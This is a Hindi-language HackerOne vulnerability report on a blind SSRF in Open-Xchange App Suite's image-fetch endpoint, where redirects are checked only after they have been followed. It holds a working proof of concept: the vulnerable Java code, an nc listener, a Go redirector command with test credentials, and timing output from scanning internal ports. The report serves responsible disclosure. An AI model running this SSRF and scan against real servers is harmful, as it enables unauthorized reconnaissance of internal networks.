
https://hackerone.com/reports/865652
/appsuite/api/oxodocumentfilter&action=addfile को संभालते समय बाहरी URL से छवियाँ लाने के लिए AddFileAction.getImageDataFromUrl में लागू किया गया लॉजिक यहाँ सभी रीडायरेक्ट्स का अनुसरण करने के बाद ही रीडायरेक्ट किए गए URL को मान्य करता है।
response = httpClient.execute(getRequest, context);
int statusCode = response.getStatusLine().getStatusCode();
if (statusCode == HttpStatus.SC_OK) {
List<URI> locations = context.getRedirectLocations();
if (locations != null) {
for (URI uri : locations) {
try {
Optional<OXException> oxException = validator.apply(uri.toURL());
if (oxException.isPresent()) {
throw (RESTException) oxException.get().getCause();
}
} catch (MalformedURLException e) {
throw new RESTException(ErrorCode.GENERAL_ARGUMENTS_ERROR, e);
}
};
}
long length = response.getEntity().getContentLength();
...
}
इसका उपयोग हमलावर द्वारा ब्लाइंड SSRF हमलों को अंजाम देने के लिए किया जा सकता है।
127.0.0.1:7070 पर सुनने के लिए निम्न कमांड चलाएँ
nc -l 127.0.0.1 -p 7070
go run . -redirectorAddress="172.16.146.1:8081" -targetPorts="7070" -serverRoot="http://172.16.66.130" -username="testuser" -password="secret"
उपरोक्त कमांड चलाने पर netcat में निम्न आउटपुट प्रदर्शित होगा।
GET /image.png HTTP/1.1
Accept: *
Accept-Encoding: gzip
Host: 127.0.0.1:7070
Connection: Keep-Alive
User-Agent: Open-Xchange Image Url Data Fetcher
चूँकि यह एक ब्लाइंड SSRF है, HTTP अनुरोधों के प्रतिक्रिया को पढ़ना संभव नहीं है। हालाँकि, इस भेद्यता का उपयोग टोही (reconnaissance) के लिए किया जा सकता है।
सर्वर के लोकल नेटवर्क पर पोर्ट्स 7070,61616,8004,80,22,25,8080,3125 का पोर्ट स्कैन चलाने के लिए, निम्न कमांड निष्पादित करें।
go run . -redirectorAddress="172.16.146.1:8081" -targetPorts="7070,61616,8004,80,22,8080,3125" -serverRoot="http://172.16.66.130" -username="testuser" -password="secret" -numSamples=20
आउटपुट:
2020/05/04 13:32:42 7070: 2.220000
2020/05/04 13:32:42 61616: 3567.000000
2020/05/04 13:32:42 8004: 2.980000
2020/05/04 13:32:42 80: 3.180000
2020/05/04 13:32:42 22: 34.600000
2020/05/04 13:32:42 25: 2169.333333
2020/05/04 13:32:42 8080: 2.560000
2020/05/04 13:32:42 3125: 3.000000
हम VM के अंदर खुले पोर्ट्स देखने के लिए lsof का उपयोग कर सकते हैं।
sudo lsof -nP -iTCP -sTCP:LISTEN
आउटपुट:
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
java 467 open-xchange 15u IPv6 13049 0t0 TCP 172.16.66.130:9994 (LISTEN)
java 467 open-xchange 16u IPv6 15970 0t0 TCP *:42319 (LISTEN)
java 467 open-xchange 24u IPv6 14136 0t0 TCP 127.0.0.1:61616 (LISTEN)
java 467 open-xchange 33u IPv6 16419 0t0 TCP *:8004 (LISTEN)
java 489 open-xchange 37u IPv6 14138 0t0 TCP 127.0.0.1:9999 (LISTEN)
java 489 open-xchange 42u IPv6 17565 0t0 TCP 127.0.0.1:1099 (LISTEN)
java 489 open-xchange 47u IPv6 14144 0t0 TCP 127.0.0.1:5701 (LISTEN)
java 489 open-xchange 127u IPv6 15345 0t0 TCP *:36149 (LISTEN)
java 489 open-xchange 144u IPv6 17559 0t0 TCP 127.0.0.1:8009 (LISTEN)
apache2 526 root 3u IPv6 13789 0t0 TCP *:80 (LISTEN)
apache2 527 www-data 3u IPv6 13789 0t0 TCP *:80 (LISTEN)
apache2 528 www-data 3u IPv6 13789 0t0 TCP *:80 (LISTEN)
mysqld 695 mysql 26u IPv4 13847 0t0 TCP 127.0.0.1:3306 (LISTEN)
exim4 1077 Debian-exim 3u IPv4 13115 0t0 TCP 127.0.0.1:25 (LISTEN)
exim4 1077 Debian-exim 4u IPv6 13116 0t0 TCP [::1]:25 (LISTEN)
sshd 1345 root 3u IPv4 14259 0t0 TCP 172.16.66.130:22 (LISTEN)
sshd 1345 root 4u IPv4 14261 0t0 TCP 127.0.0.1:22 (LISTEN)
उपरोक्त आउटपुट से निम्नलिखित अवलोकन किए जा सकते हैं:
इसलिए एक हमलावर इस भेद्यता का उपयोग अधिकांश खुले पोर्ट्स का पता लगाने के लिए कर सकता है और कनेक्शन के प्रकार (ssh / exim / activemq आदि) का पता लगाने के लिए प्रतिक्रिया समय का उपयोग कर सकता है।